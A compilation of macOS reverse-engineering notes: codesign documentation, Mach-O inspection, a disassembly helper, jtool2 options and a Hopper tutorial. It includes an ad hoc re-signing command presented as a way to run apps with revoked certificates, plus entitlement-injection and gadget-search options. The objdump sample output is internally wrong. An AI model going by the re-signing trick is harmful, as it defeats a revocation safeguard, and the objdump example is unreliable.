
             When signing, designates that a detached signature should 

be 

             written to the specified file. The code being signed is 

not modi- 

             fied and need not be writable.  When verifying, 

designates a file 

             containing a detached signature to be used for 

verification. Any 

             embedded signature in the code is ignored. 

 

     --deep  When signing a bundle, specifies that nested code content 

such as 

             helpers, frameworks, and plug-ins, should be recursively 

signed 

             in turn. Beware that all signing options you specify will 

apply, 

             in turn, to such nested content. 

             When verifying a bundle, specifies that any nested code 

content 



             will be recursively verified as to its full content. By 

default, 

             verification of nested content is limited to a shallow 

investiga- 

             tion that may not detect changes to the nested code. 

             When displaying a signature, specifies that a list of 

directly 

             nested code should be written to the display output. This 

lists 

             only code directly nested within the subject; anything 

nested 

             indirectly will require recursive application of the 

codesign 

             command. 

 

     --detached-database 

             When signing, specifies that a detached signature should 

be gen- 

             erated as with the --detached option, but that the 

resulting sig- 

             nature should be written into a system database, from 

where it is 

             made automatically available whenever apparently unsigned 

code is 

             validated on the system. 

             Writing to this system database requires elevated process 

privi- 

             leges that are not available to ordinary users. 

 

     -f, --force 

             When signing, causes codesign to replace any existing 

signature 

             on the path(s) given. Without this option, existing 

signatures 

             will not be replaced, and the signing operation fails. 

 

     -h, --hosting 

             Constructs and prints the hosting chain of a running 

program. The 

             pid arguments must denote running code (pids etc.) With 

verbose 

             options, this also displays the individual dynamic 

validity sta- 

             tus of each element of the hosting chain. 

 

     -i, --identifier identifier 

             During signing, explicitly specify the unique identifier 

string 

             that is embedded in code signatures. If this option is 

omitted, 

             the identifier is derived from either the Info.plist (if 

             present), or the filename of the executable being signed, 

possi- 

             bly modified by the --prefix option.  It is a very bad 

idea to 

             sign different programs with the same identifier. 

 

     -o, --options flag,... 

             During signing, specifies a set of option flags to be 

embedded in 



             the code signature. The value takes the form of a comma-

separated 

             list of names (with no spaces). Alternatively, a numeric 

value 

             can be used to directly specify the option mask 

(CodeDirectory 

             flag word). See OPTION FLAGS below. 

 

     -P, --pagesize pagesize 

             Indicates the granularity of code signing. Pagesize must 

be a 

             power of two.  Chunks of pagesize bytes are separately 

signed and 

             can thus be independently verified as needed.  As a 

special case, 

             a pagesize of zero indicates that the entire code should 

be 

             signed and verified as a single, possibly gigantic page. 

This 

             option only applies to the main executable and has no 

effect on 

             the sealing of associated data, including resources. 

 

     -r, --requirements requirements 

             During signing, indicates that internal requirements 

should be 

             embedded in the code path(s) as specified. See 

"specifying 

             requirements" below.  Defaults will be applied to 

requirement 

             types that are not explicitly specified; if you want to 

defeat 

             such a default, specify "never" for that type. 

             During display, indicates where to write the code's 

internal 

             requirements. Use -r- to write them to standard output. 

 

     -R, --test-requirement requirement 

             During verification, indicates that the path(s) given 

should be 

             verified against the code requirement specified. If this 

option 

             is omitted, the code is verified only for internal 

integrity and 

             against its own designated requirement. 

 

     -s, --sign identity 

             Sign the code at the path(s) given using this identity. 

See SIGN- 

             ING IDENTITIES below. 

 

     -v, --verbose 

             Sets (with a numeric value) or increments the verbosity 

level of 

             output. Without the verbose option, no output is produced 

upon 

             success, in the classic UNIX style.  If no other options 

request 

             a different action, the first -v encountered will be 

interpreted 

             as --verify instead (and does not increase verbosity). 



 

     -v, --verify 

             Requests verification of code signatures.  If other 

actions 

             (sign, display, etc.) are also requested, -v is 

interpreted to 

             mean --verbose. 

 

     --continue 

             Instructs codesign to continue processing path arguments 

even if 

             processing one fails.  If this option is given, exit due 

to oper- 

             ational errors is deferred until all path arguments have 

been 

             considered. The exit code will then indicate the most 

severe 

             failure (or, with equal severity, the first such failure 

encoun- 

             tered). 

 

     --dryrun 

             During signing, performs almost all signing operations, 

but does 

             not actually write the result anywhere. Cryptographic 

signatures 

             are still generated, actually using the given signing 

identity 

             and triggering any access control checks normally, though 

the 

             resulting signature is then discarded. 

 

     --entitlements path 

             When signing, take the file at the given path and embed 

its con- 

             tents in the signature as entitlement data. If the data 

at path 

             does not already begin with a suitable binary ("blob") 

header, 

             one is attached automatically. 

             When displaying a signature, extract any entitlement data 

from 

             the signature and write it to the path given. Use "-" to 

write to 

             standard output.  By default, the binary "blob" header is 

             returned intact; prefix the path with a colon ":" to 

automati- 

             cally strip it off.  If the signature has no entitlement 

data, 

             nothing is written (this is not an error). 

 

     --extract-certificates prefix 

             When displaying a signature, extract the certificates in 

the 

             embedded certificate chain and write them to individual 

files. 

             The prefix argument is appended with numbers 0, 1, ... to 

form 

             the filenames, which can be relative or absolute. 

Certificate 0 



             is the leaf (signing) certificate, and as many files are 

written 

             as there are certificates in the signature. The files are 

in 

             ASN.1 (DER) form.  If prefix is omitted, the default 

prefix is 

             "codesign" in the current directory. 

 

     --file-list path 

             When signing or displaying a signature, codesign writes 

to the 

             given path a list of files that may have been modified as 

part of 

             the signing process. This is useful for installer or 

patcher pro- 

             grams that need to know what was changed or what files 

are needed 

             to make up the "signature" of a program. The file given 

is 

             appended-to, with one line per absolute path written. An 

argument 

             of "-" (single dash) denotes standard output.  Note that 

the list 

             may be somewhat pessimistic - all files not listed are 

guaranteed 

             to be unchanged by the signing process, but some of the 

listed 

             files may not actually have changed.  Also note that 

changes may 

             have been made to extended attributes of these files. 

 

     --ignore-resources 

             During static validation, do not validate the contents of 

the 

             code's resources.  In effect, this will pass validation 

on code 

             whose resources have been corrupted (or inappropriately 

signed). 

             On large programs, it will also substantially speed up 

static 

             validation, since all the resources will not be read into 

memory. 

             Obviously, the outcome of such a validation should be 

considered 

             on its merits. 

 

     --keychain filename 

             During signing, only search for the signing identity in 

the key- 

             chain file specified. This can be used to break any 

matching ties 

             if you have multiple similarly-named identities in 

several key- 

             chains on the user's search list.  Note that the standard 

key- 

             chain search path is still consulted while constructing 

the cer- 

             tificate chain being embedded in the signature. 

             Note that filename will not be searched to resolve the 

signing 



             identity's certificate chain unless it is also on the 

user's key- 

             chain search list. 

 

     --prefix string 

             If no explicit unique identifier is specified (using the 

-i 

             option), and if the implicitly generated identifier does 

not con- 

             tain any dot (.) characters, then the given string is 

prefixed to 

             the identifier before use. If the implicit identifier 

contains a 

             dot, it is used as-is. Typically, this is used to deal 

with com- 

             mand tools without Info.plists, whose default identifier 

is sim- 

             ply the command's filename; the conventional prefix used 

is 

             com.domain. (note that the final dot needs to be 

explicit). 

 

     --preserve-metadata=list 

             When re-signing code that is already signed, reuse some 

informa- 

             tion from the old signature.  If new data is specified 

explic- 

             itly, it is preferred.  You still need to specify the -f 

             (--force) option to enable overwriting signatures at all.  

If 

             this option is absent, any old signature has no effect on 

the 

             signing process. 

             This option takes a comma-separated list of names, which 

you may 

             reasonably abbreviate: 

 

             identifier      Preserve the signing identifier (--

identifier) 

                             instead of generating a default 

identifier. 

 

             entitlements    Preserve the entitlement data (--

entitlements). 

 

             resource-rules  Preserve and reuse the resource rules 

                             (--resource-rules). 

 

             requirements    Preserve the internal requirements (--

require- 

                             ments option), including any explicit 

Designated 

                             Requirement. Note that all internal 

requirements 

                             are preserved or regenerated as a whole; 

you can- 

                             not pick and choose individual elements 

with this 

                             option. 

             For historical reasons, this option can be given without 

a value, 



             which preserves all of these values as presently known. 

This use 

             is deprecated and will eventually be removed; always 

specify an 

             explicit list of preserved items. 

 

     --resource-rules filename 

             During signing, this option overrides the default rules 

for iden- 

             tifying and collecting bundle resources and nested code 

to be 

             sealed into the signature. The argument is the path to a 

property 

             list (plist) file containing scanning and qualification 

instruc- 

             tions. See the code signing documentation for details. 

 

     --timestamp [=URL] 

             During signing, requests that a timestamp authority 

server be 

             contacted to authenticate the time of signing. The server 

con- 

             tacted is given by the URL value.  If this option is 

given with- 

             out a value, a default server provided by Apple is used.  

Note 

             that this server may not support signatures made with 

identities 

             not furnished by Apple.  If the timestamp authority 

service can- 

             not be contacted over the Internet, or it malfunctions or 

refuses 

             service, the signing operation will fail. 

             If this option is not given at all, a system-specific 

default 

             behavior is invoked.  This may result in some but not all 

code 

             signatures being timestamped. 

             The special value none explicitly disables the use of 

timestamp 

Sign .app with Codesign 
When you launch an app and it will quit unexpectedly on Mac 

OS a problem report window will display problem details and 

system configuration. If you find in the report the message 

"Termination Reason: Namespace CODESIGNING, Code 0x1" it 

means that the app certificate was revoked. 



 

There is a quick solution to sign any .app on macOS installing 

free codesign tool. Open Terminal App and execute the code to 

start the download and installation process of Xcode and the 

command line developer tools from the AppStore. Launch 

Xcode at least once to agree to the license. 

xcode-select --install 

To sign an .app file launch the Terminal and execute codesign 

with following parameters. You can easily drag and drop the 

.app from Finder to Terminal allowing you to paste the file 

located path. After the .app is signed you will have an option to 

run it as any other regular application. 

codesign --force --deep --sign - /Applications/name.app 



 

Codesign available parameters 

codesign -s identity [-fv*] [-o flags] [-r reqs] [-i ident] path 

... # sign 

codesign -v [-v*] [-R=<req string>|-R <req file path>] path|[+]pid 

... # verify 

codesign -d [options] path ... # display contents 

codesign -h pid ... # display hosting paths 

 

1. Check Code Signing Certificate Installation 

1. Make sure you've properly installed your code signing certificate to 

the Mac certificate store. If you used our easy installation tool, the 

certificate should have been imported to the certificate store through 

your web browser. 

2. Do you have a .pfx version of the file? To install it, click the file and 

enter the .pfx file password. 



 

3. Your certificate should appear in the My Certificates catagory of the 

Keychain Access Manager. 

2. Run the Command 

1. Once you have confirmed your certificate is properly installed, just 

run the command below. 

codesign -s "Your Company, Inc."  

/path/to/MyApp.app  

2. Don't know the common name of your code signing certificate? You 

can find it in the Keychain Access Manager. 

Select the certificate and find the common name field. You do not 

need to type the entire common name; type just enough to uniquely 

identify your certificate (this option is case sensitive). 

3. Did you receive the "CSSMERR_TP_NOT_TRUSTED" error? 

i.You need to install an Intermediate certificate on your 

machine. 

ii.View the details of your code signing certificate and find 

the Issuer Common Name. 

iii.Download and install the Intermediate certificate that 

matches the Issuer Common Name (DigiCert Assured ID 

Code Signing CA-1 or DigiCert High Assurance Code 

Signing CA-1). 

iv.You should now be able to use codesign without receiving 

any errors. 

https://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt
https://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt
https://cacerts.digicert.com/DigiCertHighAssuranceCodeSigningCA-1.crt
https://cacerts.digicert.com/DigiCertHighAssuranceCodeSigningCA-1.crt


 

3. Verify the Signature 

You can verify the signature by running the command below. 

codesign -v /path/to/MyApp.app  

4. Congratulations! 

You should now have a freshly signed piece of code, ready to use. 

 

https://kubadownload.com/news/codesign-sign-app/ 

https://www.manpagez.com/man/1/codesign/#:~:text=The%20codesign%20command%20is%

20used,options%20to%20modify%20its%20behavior.  

How to inspect Mach-O files 

clang main.c produces an a.out, which on macOS is a binary in 

the Mach-O (“Mach object”) format: 

$ clang main.c 

https://kubadownload.com/news/codesign-sign-app/
https://www.manpagez.com/man/1/codesign/#:~:text=The%20codesign%20command%20is%20used,options%20to%20modify%20its%20behavior
https://www.manpagez.com/man/1/codesign/#:~:text=The%20codesign%20command%20is%20used,options%20to%20modify%20its%20behavior


$ file a.out 

a.out: Mach-O 64-bit executable x86_64 

clang produces Mach-O files when run on macOS because the 

executable format in macOS is Mach-O. By contrast, on 

Linux, clang produces ELF files (“Executable and Linkable Format”), 

because Linux’s executable format is ELF. This is documented in man 

pages. On macOS, the page for the execve system call says: 

execve() transforms the calling process into a new process. The new 

process is constructed from an ordinary file ... This file is either an 

executable object file, or a file of data for an interpreter. An executable 

object file consists of ... see a.out(5). 

The page for a.out says 

The object files produced by the assembler and link editor are in Mach-

O (Mach object) file format. 

Since Mach-O files are just ordinary files, we can dig into the bits-and-

bytes. But we can also inspect Mach-O files with a tool 

called otool (“object tool”). For example, we can see what dynamic 

libraries our a.out requires: 

$ otool -L a.out 

a.out: 

 /usr/lib/libSystem.B.dylib (compatibility 

version 1.0.0, current version 1238.60.2) 

A .dylib is a Mach-O dynamic module/library. Our clang decided 

that our program should depend on a dynamic library 

at /usr/lib/libSystem.B.dylib. This provides the 

implementations of many things used by C programs, such as stdio 

functions. 

Dynamic libraries can themselves require dynamic libraries. The big 

dylib at /usr/lib/libSystem.B.dylib requires a bunch more 

dylibs: 



$ otool -L /usr/lib/libSystem.B.dylib 

/usr/lib/libSystem.B.dylib: 

... 

 /usr/lib/system/libsystem_asl.dylib 

(compatibility version 1.0.0, current version 

349.50.5) 

 /usr/lib/system/libsystem_blocks.dylib 

(compatibility version 1.0.0, current version 

67.0.0) 

 /usr/lib/system/libsystem_c.dylib 

(compatibility version 1.0.0, current version 

1158.50.2) 

 /usr/lib/system/libsystem_configuration.dylib 

(compatibility version 1.0.0, current version 

888.60.2) 

 /usr/lib/system/libsystem_coreservices.dylib 

(compatibility version 1.0.0, current version 

41.4.0) 

... 

An important dylib in here 

is /usr/lib/system/libsystem_c.dylib. It defines a bunch of 

functions used by C programs. For example, this dylib defines the 

function fprintf. We can see this using a tool nm (“name”), which 

shows the name/symbol table of a Mach-O file. 

$ nm -g /usr/lib/system/libsystem_c.dylib | grep 

fprintf 

000000000003ed45 T _fprintf 

000000000003ee18 T _fprintf_l 

0000000000046355 T _vfprintf 

0000000000046308 T _vfprintf_l 

Notice that the symbol is not fprintf, but _fprintf. This is because 

“The name of a symbol representing a function that conforms to 

standard C calling conventions is the name of the function with an 

underscore prefix”, according to Apple. 

https://developer.apple.com/library/content/documentation/DeveloperTools/Conceptual/MachOTopics/1-Articles/executing_files.html


https://jameshfisher.com/2017/08/22/inspecting-mach-o-files/  

Better disassembly on macOS Big Sur 
This is the third part to what is now a three part series on disassembling system libraries on 

macOS 11 Big Sur. Part 1 explains how to extract the system libraries from the dyld shared 

cache, and Part 2 explains some difficulties in disassembling Objective-C in those extracted 

libraries. Part 3 will provide a solution to those difficulties! 

Static disassembly tools such as otool and llvm-objdump have not been updated to handle the 

dyld shared cache on Big Sur. However, one tool that does handle it is lldb, the debugger. Thus, 

you'd think a simple solution to disassembling a system library on BS is to load the library in 

lldb, do image dump sections to find the addresses of the __text section, and then 

do disassemble --start-address [start] --end-address [end] to disassemble the library. Alas, it's 

not that simple! Unfortunately, the lldb disassember stops prematurely when it hits an opcode 

that it doesn't understand. (Why must all the Apple tools be so bad?) With otool you see 

output like this: 

00007fff235f68d9 .byte 0xfe #bad opcode 

Fortunately, I thought of a workaround (AKA terrible hack) for this. I created a little command-

line tool that gets the output of /usr/bin/nm -n [extracted library] -s __TEXT __text and 

transforms it into a series of lldb dissasemble commands such as di -n '[symbol]'. These lldb 

commands will allow us to disassemble every function and method in the library. I call my 

tool bsnm, and here's the source code in all its glory, which you are free to use under my 

standard SHAG software license (search my web site for the terms). 

// Copyright 2020 Jeff Johnson. All rights reserved. 

 

#import <Foundation/Foundation.h> 

 

int main(int argc, const char *argv[]) { 

 @autoreleasepool { 

  if (argc != 2) { 

   printf("Usage: %s <object file>\n", argv[0]); 

   return EXIT_FAILURE; 

  } 

  NSString *path = [NSString stringWithUTF8String:argv[1]]; 

  if (path == nil) { 

   printf("invalid path: %s\n", argv[1]); 

   return EXIT_FAILURE; 

  } 

https://jameshfisher.com/2017/08/22/inspecting-mach-o-files/
https://lapcatsoftware.com/articles/bigsur.html
https://lapcatsoftware.com/articles/bigsur2.html


   

  NSTask *task = [[NSTask alloc] init]; 

  [task setLaunchPath:@"/usr/bin/nm"]; 

  [task setArguments:@[@"-n", path, @"-s", @"__TEXT", @"__text"]]; 

  NSPipe *pipe = [NSPipe pipe]; 

  [task setStandardOutput:pipe]; 

  NSFileHandle *fileHandle = [pipe fileHandleForReading]; 

  NSError *error = nil; 

  if (![task launchAndReturnError:&error]) { 

   NSLog(@"launch error: %@", error); 

   return EXIT_FAILURE; 

  } 

  NSData *data = [fileHandle readDataToEndOfFile]; 

  if ([data length] == 0) { 

   NSLog(@"no output"); 

   return EXIT_FAILURE; 

  } 

  NSString *string = [[NSString alloc] initWithData:data 

encoding:NSMacOSRomanStringEncoding]; 

  if (string == nil) { 

   NSLog(@"not NSMacOSRomanStringEncoding: %@", data); 

   return EXIT_FAILURE; 

  } 

   

  [string enumerateLinesUsingBlock:^(NSString *line, BOOL *stop) { 

   if (![line hasPrefix:@"00007fff"]) { 

    return; 

   } 

   if ([line length] > 20) { 

    NSUInteger symbolIndex = 19; 

    NSString *type = [line substringWithRange:NSMakeRange(16, 

3)]; 



    if ([type isEqualToString:@" T "] || [type isEqualToString:@" t 

"]) { 

     NSString *symbol = [line 

substringFromIndex:symbolIndex]; 

     if ([symbol hasPrefix:@"_"]) 

      symbol = [symbol substringFromIndex:1]; 

     printf("di -n '%s'\n", [symbol UTF8String]); 

     return; 

    } 

   } 

   NSLog(@"Unexpected line: %@", line); 

   exit(EXIT_FAILURE); 

  }]; 

 } 

 return EXIT_SUCCESS; 

} 

You can pipe the output of bsnm to a text file for convenience. Then create a test project that 

loads the relevant system library (not the extracted library). This is easy to do with dlopen. For 

example: 

void *handle = dlopen("/System/Library/Frameworks/AppKit.framework/AppKit", 

RTLD_NOW); 

Although there's no executable at that path, just a link, Big Sur knows how to load the library 

from the dyld shared cache. Run your test project in lldb, and break after loading the library. 

You'll want to do this in Terminal rather than in Xcode, because the Xcode debugger console 

doesn't handle pasted newlines correctly. Finally, copy all the previously generated lldb 

command from the text file, paste them into lldb, and let lldb do its thing. If it's a large library, 

this may take a while! 

I hope that my little hack helps you to disassemble system libraries on Big Sur. It's a bid 

tedious, but it mostly works, and you only have to do it once for each library you're interested 

in. One known issue with the bsnm tool is that the lldb disassemble command don't work in a 

few cases, such as for Objective-C block invocations and .cold. paths generated by LLVM hot 

cold splitting. I suspect that the leading "_" character shouldn't be trimmed from these 

symbols, so perhaps we can fix up bsnm to handle these special cases too. Let the BS be with 

you. 

https://lapcatsoftware.com/articles/bigsur3.html 

https://lapcatsoftware.com/articles/bigsur3.html


Objdump 
You can use the objdump command to display information about the dynamic library 

/usr/lib/libSystem.B.dylib on a macOS system. Here's how: 

1. Open the Terminal application on your macOS system. 

2. Type the following command and press Enter: 

bashCopy code 

objdump -p /usr/lib/libSystem.B.dylib  

This will display the program header information of the dynamic library. 

The output will include information about the ELF header, program headers, dynamic section, 

and other sections of the dynamic library. 

Here's an example of what the output might look like: 

lessCopy code 

/usr/lib/libSystem.B.dylib: file format Mach-O 64-bit x86-64 Program Header: LOAD off 

0x0000000000001000 vaddr 0x0000000100000000 paddr 0x0000000100000000 align 2**21 

filesz 0x0000000001e57000 memsz 0x0000000001e57000 flags r-x LOAD off 

0x0000000001e58000 vaddr 0x00000007fff5fc000 paddr 0x00000007fff5fc000 align 2**21 

filesz 0x000000000003c000 memsz 0x000000000003c000 flags rw- [...] Dynamic Section: NLIST 

0x00000000001de8f0 0x00000000001de8f0 0x00000000001de8f0 0x000d80 0x000d80 R 0x8 

NLIST 0x00000000001df170 0x00000000001df170 0x00000000001df170 0x000d80 0x000d80 

R 0x8 [...] [...]  

Note that the exact output may vary depending on the version of macOS you're running and 

the version of objdump installed on your system. 

https://stackoverflow.com/questions/1727958/disassemble-into-x86-64-on-osx10-6-but-with-

intel-syntax 

https://stackoverflow.com/questions/44086488/reversed-mach-o-64-bit-x86-assembly-

analysis 

https://developer.apple.com/forums/thread/64494 

https://developer.apple.com/forums/thread/655588 

Jtool2 

The jtool utility started as a companion utility to the 1st edition of MacOS 

internals, because I wanted to demonstrate Mach-O format intrinstics, and was 
annoyed with XCode's otool(1). Along the way, jtool absorbed additional 

Mach-O commands such 
as atos(1), dyldinfo(1), nm(1), segedit(1), pagestuff(1), strings(1) , and 

even codesign(1) and the informal ldid. Most importantly, it can be run on a 

variety of platforms - OS X, iOS, and even Linux, where Apple's tools don't 
exist. 

https://stackoverflow.com/questions/1727958/disassemble-into-x86-64-on-osx10-6-but-with-intel-syntax
https://stackoverflow.com/questions/1727958/disassemble-into-x86-64-on-osx10-6-but-with-intel-syntax
https://stackoverflow.com/questions/44086488/reversed-mach-o-64-bit-x86-assembly-analysis
https://stackoverflow.com/questions/44086488/reversed-mach-o-64-bit-x86-assembly-analysis
https://developer.apple.com/forums/thread/64494
https://developer.apple.com/forums/thread/655588
http://www.newosxbook.com/1stEdIsFree.html
http://www.newosxbook.com/1stEdIsFree.html


But that's not all. jtool provides many many novel features: 

• in-binary search functionality 
• symbol injection 
• built-in disassembler functionality with (limited but constantly improving) 

emulation capabilities, which already outdo fancy commercial GUI 
disassemblers. 

• Color terminal output, enabled by JCOLOR=1 

As the code got more and more complex, I decided to rewrite jtool from 

scratch, bringing you jtool2 - and effectively deprecating the v1 binary. New 

features in jtool2 include: 

• --analyze to automatically analyze any Mach-O, generating a companion file. 

• kernelcache symbolication (what I formerly provided via joker) - which has 

become even more important since the advent of monolithic ("1469") 
kernelcaches, with no more symbols. jtool2 finds syscalls, Mach traps, MIG 

tables, interesting (for me, at least) functions, and IOKit objects - thousands of 
objects in all. 

• Panic log symbolication: *OS panic logs are JSON and have little to no symbols 
- but --symbolicate (with a companion file prebuilt by --analyze) will rectify 

that. 

jtool and jtool2 ENTIRELY FREE for use of any type (AISE), and the latest 

version can always be found right here. For the legacy v1 download, click here, which 

I'm leaving here because I still am not finished with Objective-C support in v2. 
morpheus@Bifröst (~) %jtool2 --help                                                                                           

11:10 

Usage: jtool [options] _filename_ 

 

OTool Compatible Options: 

   -h          Dump Mach-O (or DYLD Shared Cache) header 

   -l          List sections/commands in binary 

   -L          print shared libraries used 

 

JTool (classic) Options: 

   -S          List Symbols (like NM) 

   -v[v]       Toggle verbosity (vv = very verbose) 

   -e          extract fat slice, Mach-O segment/section, dyld shared 

cache dylib or (NEW) kernelcache kext 

   -q          Quick operation - do not process any symbols in the 

Mach-O 

   -F          find all occurrences of _string_ in binary 

   -a          Find offset/segment corresponding to virtual address 

_addr_ 

   -o          Find address corresponding to offset _offset_ 

   -d          Dump (smart dump, will disassemble text and dump data 

by autodetecting) 

 

Code Signing Options: 

   --sig       Show code signature in binary (if any) 

   --ent       Show entitlements in binary (if any) 

   -+ent=...[,...] Inject entitlements into binary (implies 

resigning inplace) 

http://www.newosxbook.com/tools/joker.html
http://www.newosxbook.com/tools/jtool2.tgz
http://www.newosxbook.com/tools/jtool.tgz


   -+platformize Platformize binary (injects platform-

application, also implies resigning inplace) 

 

Joker Compatible Options (applicable on kernel caches only): 

   -k          List kexts 

   -K          Kextract™ a kernel extension by its bundle ID 

   -dec        Decompress a kernelcache to /tmp/kernel (no longer 

necessary since JTool can now operate on compressed caches) 

 

dyldinfo Compatible Options: 

   --bind       print addresses dyld will set based on symbolic 

lookups 

   --lazy_bind  print addresses dyld will lazily set on first 

use 

   --opcodes    print opcodes used to generate the rebase and 

binding information 

   --function_starts print table of function start addresses 

 

Newer (JTool 2) Options: 

   --analyze   Analyze file and create a companion file 

   --symbolicate Symbolicate an .ips panic file 

   --tbd       Create a .tbd file (for *OS private frameworks only - 

you'll need the dyld shared cache for this) 

   -D          Decompile (totally experimental - would love your 

feedback if you're reading this) 

   -G          Gadget search (specify gadgets as comma delimited 

mnemonics) 

 

Environment Variables: 

   ARCH                 Select architecture slice. Set to arm64, 

arm64e, arm64_32, armv7, armv7k, x86_64 or (not for long) i386 

   JDEBUG               Enhanced debug output. May be very 

verbose 

   JCOLOR               ANSI Colors. Note you'll need 'less -R' 

if piping output 

   JTOOLDIR             path to search for companion jtool files 

(default: $PWD). 

   Use this to force create a file, if one does 

not exist 

   NOPSUP               Suppress NOPs in disassembly 

http://www.newosxbook.com/tools/jtool.html 

Reverse engineering tool "Hopper 
Disassembler" for MacOS / Linux 
 

Presentation 

Hopper is a tool that will assist you in your static analysis of executable files. 

This quick presentation will give you a good overview of what Hopper is, and how 
it works. 

http://www.newosxbook.com/tools/jtool.html


Hopper is a rich-featured application, and all cannot be discussed here, but don’t 
worry, you’ll quickly find your marks, and easily discover all its subtleties. 

 

The interface is split into three main areas: 

• The left pane contains a list of all the symbols defined in the file, and the list strings. 
The list can be filtered using tags and text. 

• The right pane is called the inspector. It contains contextual information about the 
area currently explored. 

• The center part is where the assembly language, and its various representations are 

displayed. 

The Concept 

The idea behind Hopper is to transform a set of bytes (the binary that you want 
to analyze) into something readable by a human. 

To do so, Hopper will try to associate a type to each byte of the file. Because it 
would be much too expensive to do it manually, Hopper proceeds to an automatic 
analysis as soon as you have loaded a file. 

The various types that can be used in Hopper are: 

• Data: an area is set to the data type when Hopper thinks it is an area that represents 
a constant, like an array of int for instance. 



• ASCII: a NULL-terminated C string. 
• Code: an instruction 
• Procedure: a byte receives this type once it has been determinate that it is part of a 

method that has been successfully reconstructed by Hopper. 
• Undefined: this is an area that has not yet been explored by Hopper, 

As soon as an executable is loaded, you can manually change the type, by using 
either the keyboard, or the toolbar on top of the window. 

 

The toolbar contains a button for each type you can set (D for data, A for ASCII, 
etc.). These letters are also the keyboard shortcut you can directly use.). 
The data type has a little specific behavior: the first time you use this type, Hopper 
will transform the area into a byte. If you use it again, the byte will be transformed 
into a 16-bit integer, then a 32-bit integer, and so on… 
Feel free to play with transformations to explore the executable: Hopper provides 
an undo / redo feature. 

Display Modes 

Reading assembly language is a little bit difficult, and boring in some cases. In 
order to help you, Hopper can use different kinds of representations for the code. 

Most of them require the construction of a procedure, because procedures 
contain additional information about the structure of the code, like basic blocks, 
or stack usage. 

The current mode can be changed using the toolbar: 

 

Assembly 

The first mode is the Assembly Mode. Hopper prints the lines of the assembly 
code, one after the other. This is what most disassemblers provide. 



 

The first column (blue numbers) represents the instructions' addresses, then the 

instruction mnemonic and its operands (or arguments). As an option, in the 
preferences of the application, you can choose to print the instruction encoding 
between the address, and the instruction mnemonic. 

In the margin, you'll see some colored arrows. These arrows represent the possible 
destination of a jump instruction. For instance, on the above screenshot, the blue 
arrow between addresses 0x100002d82, and 0x100002db4 represents the fact 
that the instruction je at 0x100002d82 may jump to the address 0x100002db4 if 
the conditions are met. When an instruction jumps to a greater address (a forward 
jump), the arrow is drawn in blue. If the jump goes forward, the arrow is drawn in 

red. 

Note that, in this representation, if you click in the red column, you'll set a 
breakpoint at the corresponding address, and if you click in the blue column, you'll 
set a bookmark. 

Control Flow Graph 

The CFG mode represents a procedure in a more structured way. 



 

You can still modify things in this representation, like comments and labels. The 
cursor can be moved from one basic block to another; simply move the cursor to 

the bound of the current basic block, and use the arrow key of your keyboard to 
jump to the nearest basic block. If you press the up, or the down arrow key, the 
cursor will move to the nearest basic block, but keeping the same column. For 
instance, in the following case, the cursor will move like indicated: 

 

The same behavior applies for the left, and right keys. 



In the right panel (the inspector), you'll find a section dedicated to the mode. 
The Control Flow Graph component displays a smaller representation of the 
current procedure, called minimap. Each square represents a basic block, and lines 
are drawn to represent their connections. One of them is filled in blue: this is the 
basic block containing the cursor. A light gray square represents the current 
portion of the method drawn in the main part. You can move the viewport by 
directly clicking in this map. 

 

The nodes of the graph can be modified. For instance, it is possible to group some 
of them when you think that they are closely related. Select the nodes, and click 
on the Group Nodes button in the inspector. 



 

You can also set a custom background color to a given node, or edit the printed 
text. 

Pseudo-Code 

In this mode, Hopper will produce a pseudo-code, which is functionally equivalent 
to the original CPU instructions, but more or less like an Objective-C method. 

 

This is clearly the easiest way of reading the code that you are analyzing, but you 
should keep in mind that there is no magic: sometimes, it is impossible to build a 
perfect pseudo-code representation of a procedure, and some parts may 
disappear, because Hopper wrongly thought that the code was unreachable (also 
called dead code). In order to mitigate this problem, you can try to toggle the 
corresponding checkbox at the top of the view. 



Hex Mode 

This mode allows you to take a look directly at the bytes of the file. 

 

The first column represents the offset in the file, and the other columns, each of 
the bytes. When you put the cursor on a byte, you'll notice that the selection 

automatically extends to the left, and to the right. Indeed, Hopper knows more 
about the file than any regular hexadecimal editor, and for instance, on the 
previous screenshot, Hopper knows that the cursor is inside an instruction, and 
selects all of its bytes. 

If you double-click on a byte, you can change its value. In some case, it may 
destroy the underneath structure. For instance, if your cursor was in an 
instruction, the instruction is automatically destroyed, and the associated 
Hopper's type falls back to the undefined state. Also, if the instruction was part 
of a procedure, the procedure is destroyed. Anyway, remember that you can 
always roll back your changes, as Hopper provides an undo / redo feature. 

The number of columns in this representation depends on the width of the 
window; this is the default behavior, but this can be changed in the application 



preferences. For instance, you can force Hopper to always display 16 columns, 
whatever the width of the window is. 

Navigating Through the File 

Segments and Sections 

An executable file is split into smaller pieces of data, called segments, 
and sections. 

When the operating system loads an executable, some parts of its bytes are 
mapped into memory. Each contiguous piece of the file mapped into memory is 
called segments. These segments are split into smaller parts, called sections, 
which will receive various access properties. 
You can navigate through these objects by using the Navigate > Show Segment 
List and Navigate > Show Section List menu items. 

Symbols, Tags and Strings 

Because it would be too difficult to remember the address where each piece of 

code lies into the executable, you can affect names, or symbols to the addresses. 
To name an address, you just need to put the cursor on the address, and press N. 
A dialog will pop up: simply type the name you want to set. 

The symbol list is accessible in the left pane of the window. 

 

Using the search field, you can filter the symbols listed below. Hopper uses a kind 
of regular expression to filter the list; first, it will present the items that completely 
contain the term you wrote. Then, right below, the list of symbols that contain 
one text insertion, then two insertions, and so on. This is what I called the fuzzy 
search, and this behavior can be disabled in the preferences of the application. 



You can use the tags to filter even more efficiently the symbol list. Tags are 
textual information that can be put on an address, a basic-block of a procedure, 
or a whole procedure. You can open the Tag Scope element to see all tags that 
exist in the current document. If you select a tag, only procedures that contain 
this tag will be listed. Note that if you close the Tag Scope item, the filter is reset 
to all tags. 
An interesting thing to note is that many tags are automatically generated during 
the loading process of an executable. For instance, every entry points will receive 
a specific entry point tag, and each implementation of each Objective-C class will 
be tagged with the name of the class (or category). It allows you to quickly 

navigate through code written in Objective-C! 
You can choose to display the strings contained in the file. In this mode, only the 
ASCII strings are displayed, and the Tag Scope has no effect. 

The Navigation Stack 

You can jump to an address, or a symbol by double-clicking on it. The address 
where the cursor was located, is pushed on a stack. You pop this stack, and 
navigate back by using the escape key or the backspace key on your keyboard. 
You can also use the navigation toolbar items. 

 

The right arrow will jump to the address under the cursor, and the left arrow will 
come back. 

The Navigation Bar 

Just above the assembly, you’ll find the navigation bar. 
 

